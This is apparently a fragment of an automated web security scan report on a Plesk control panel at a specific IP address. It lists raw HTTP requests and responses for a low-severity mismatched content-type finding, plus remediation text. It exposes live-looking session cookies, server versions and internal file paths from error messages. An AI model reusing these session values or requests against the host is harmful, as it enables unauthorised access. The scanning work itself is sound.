HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html Expires: Thu, 19 Nov 1981 08:52:00 GMT Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 01:07:23 GMT Connection: close Content-Length: 28409
GET /smb/app/search-data/catalogId/ HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: do-not-show-getting-started-popup=true; show-getting-started-popup=false; PHPSESSID=10321169792bce25daa15603ea9ba645; user=54a8ad2443247fe6e4900290dc4e0cf8;
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html Expires: Thu, 19 Nov 1981 08:52:00 GMT Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 01:07:23 GMT Connection: close Content-Length: 28409
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
HTTP/1.1 200 OK Content-Type: text/html ETag: "1286676477-10321169792bce25daa15603ea9ba645-en-US" Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 P3P: CP="NON COR CURa ADMa OUR NOR UNI COM NAV STA" X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 02:07:56 GMT Connection: close Content-Length: 8896
function chk_quotes(str) { re = /(\'.*\")|(\".*\')/; return str.search(re) == -1; }
function chk_pd_name(dir) { re = /^[0-9a-zA-Z\-_.\/~@!\+=\^\(\)\[\]\{\}, ]+$/; // forbid // and ^. a ...[SNIP]...
The response contains the following Content-type statement:
Content-Type: text/html; charset=utf-8
The response states that it contains HTML. However, it actually appears to contain plain text.
Request
GET /plesk/ HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PLESKSESSID=10321169792bce25daa15603ea9ba645; do-not-show-getting-started-popup=true; sessionID=ratyxspkfhncnbudbnjoxfoj; show-getting-started-popup=false; locale=en-US; PHPSESSID=10321169792bce25daa15603ea9ba645; psaContext=dashboard; user=54a8ad2443247fe6e4900290dc4e0cf8;
Response
HTTP/1.1 200 OK Cache-Control: post-check=0, pre-check=0,no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Last-Modified: Sun, 10 Oct 2010 02:06:59 GMT Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 P3P: CP="NON COR CURa ADMa OUR NOR UNI COM NAV STA" X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 02:06:59 GMT Connection: close Content-Length: 188
<br /> <b>Fatal error</b>: Call to a member function isSelf() on a non-object in <b>C:\Program Files (x86)\Parallels\Plesk\admin\plib\dashboard\Dashboard.php</b> on line <b>136</b><br />
The response contains the following Content-type statement:
Content-Type: text/html; charset=utf-8
The response states that it contains HTML. However, it actually appears to contain plain text.
Request
GET /plesk/client@1/domain@1/hosting/file-manager/rename/?cmd=rename_dir&file=incoming HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://174.122.23.218:8880/plesk/client@1/domain@1/hosting/file-manager/?cmd=chdir&file=%2Fanon_ftp%2F Cookie: PLESKSESSID=10321169792bce25daa15603ea9ba645; do-not-show-getting-started-popup=true; SessionID=42b54cb11fc3aedbd; sessionID=ratyxspkfhncnbudbnjoxfoj; show-getting-started-popup=false; locale=en-US; PHPSESSID=10321169792bce25daa15603ea9ba645; testCookie=test; psaContext=dashboard; user=54a8ad2443247fe6e4900290dc4e0cf8;
Response
HTTP/1.1 200 OK Cache-Control: post-check=0, pre-check=0,no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Last-Modified: Sun, 10 Oct 2010 02:08:36 GMT Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 P3P: CP="NON COR CURa ADMa OUR NOR UNI COM NAV STA" X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 02:08:35 GMT Connection: close Content-Length: 174
<br /> <b>Fatal error</b>: Call to undefined method UIPointer::() in <b>C:\Program Files (x86)\Parallels\Plesk\admin\plib\ui\client.domain.php</b> on line <b>3893</b><br />